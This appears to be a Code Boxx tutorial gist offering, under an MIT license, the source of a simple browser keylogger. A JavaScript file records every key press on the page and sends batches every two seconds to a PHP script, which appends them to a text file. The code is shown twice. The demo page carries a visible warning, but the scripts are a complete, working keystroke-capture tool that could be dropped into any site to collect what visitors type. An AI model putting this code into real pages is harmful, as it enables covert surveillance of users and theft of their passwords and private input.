code-boxx/0-JS-PHP-KEYLOG.MD

## 0-JS-PHP-KEYLOG.MD

      
    Raw
  

              0-JS-PHP-KEYLOG.MD
            
          
    JAVASCRIPT PHP KEYLOGGER

https://code-boxx.com/simple-keylogger-javascript-php/
LICENSE

Copyright by Code Boxx
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

  
## keylog.html
<!DOCTYPE html>
<html>
  <head>
    <title>JS PHP Keylog</title>
    <meta charset="utf-8">
    <script src="keylog.js"></script>
  </head>
  <body>
    <h1>All key presses will be recorded!</h1>
    <textarea></textarea>
  </body>
</html>

## keylog.js
var keylog = {
  // (A) SETTINGS & PROPERTIES
  cache : [],      // temp storage for key presses
  delay : 2000,    // how often to send data to server
  sending : false, // flag to allow 1 upload at a time

  // (B) INITIALIZE
  init : () => {
    // (B1) CAPTURE KEY STROKES
    window.addEventListener("keydown", evt => keylog.cache.push(evt.key));

    // (B2) SEND KEYSTROKES TO SERVER
    window.setInterval(keylog.send, keylog.delay);
  },

  // (C) AJAX SEND KEYSTROKES
  send : () => { if (!keylog.sending && keylog.cache.length != 0) {
    // (C1) "LOCK" UNTIL THIS BATCH IS SENT TO SERVER
    keylog.sending = true;

    // (C2) KEYPRESS DATA
    var data = new FormData();
    data.append("keys", JSON.stringify(keylog.cache));
    keylog.cache = []; // clear keys

    // (C3) FECTH SEND
    fetch("keylog.php", { method:"POST", body:data })
    .then(res=>res.text()).then(res => {
      keylog.sending = false; // unlock
      console.log(res); // optional
    })
    .catch(err => console.error(err));
  }}
};
window.addEventListener("DOMContentLoaded", keylog.init);

## keylog.php
<?php
// (A) OPEN KEYLOG FILE, APPEND MODE
$file = fopen("keylog.txt", "a+");

// (B) SAVE KEYSTROKES
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }

// (C) CLOSE & END
fclose($file);
echo "OK";
	<!DOCTYPE html>
	<html>
	<head>
	<title>JS PHP Keylog</title>
	<meta charset="utf-8">
	<script src="keylog.js"></script>
	</head>
	<body>
	<h1>All key presses will be recorded!</h1>
	<textarea></textarea>
	</body>
	</html>
	var keylog = {
	// (A) SETTINGS & PROPERTIES
	cache : [], // temp storage for key presses
	delay : 2000, // how often to send data to server
	sending : false, // flag to allow 1 upload at a time

	// (B) INITIALIZE
	init : () => {
	// (B1) CAPTURE KEY STROKES
	window.addEventListener("keydown", evt => keylog.cache.push(evt.key));

	// (B2) SEND KEYSTROKES TO SERVER
	window.setInterval(keylog.send, keylog.delay);
	},

	// (C) AJAX SEND KEYSTROKES
	send : () => { if (!keylog.sending && keylog.cache.length != 0) {
	// (C1) "LOCK" UNTIL THIS BATCH IS SENT TO SERVER
	keylog.sending = true;

	// (C2) KEYPRESS DATA
	var data = new FormData();
	data.append("keys", JSON.stringify(keylog.cache));
	keylog.cache = []; // clear keys

	// (C3) FECTH SEND
	fetch("keylog.php", { method:"POST", body:data })
	.then(res=>res.text()).then(res => {
	keylog.sending = false; // unlock
	console.log(res); // optional
	})
	.catch(err => console.error(err));
	}}
	};
	window.addEventListener("DOMContentLoaded", keylog.init);
	<?php
	// (A) OPEN KEYLOG FILE, APPEND MODE
	$file = fopen("keylog.txt", "a+");

	// (B) SAVE KEYSTROKES
	$keys = json_decode($_POST["keys"]);
	foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }

	// (C) CLOSE & END
	fclose($file);
	echo "OK";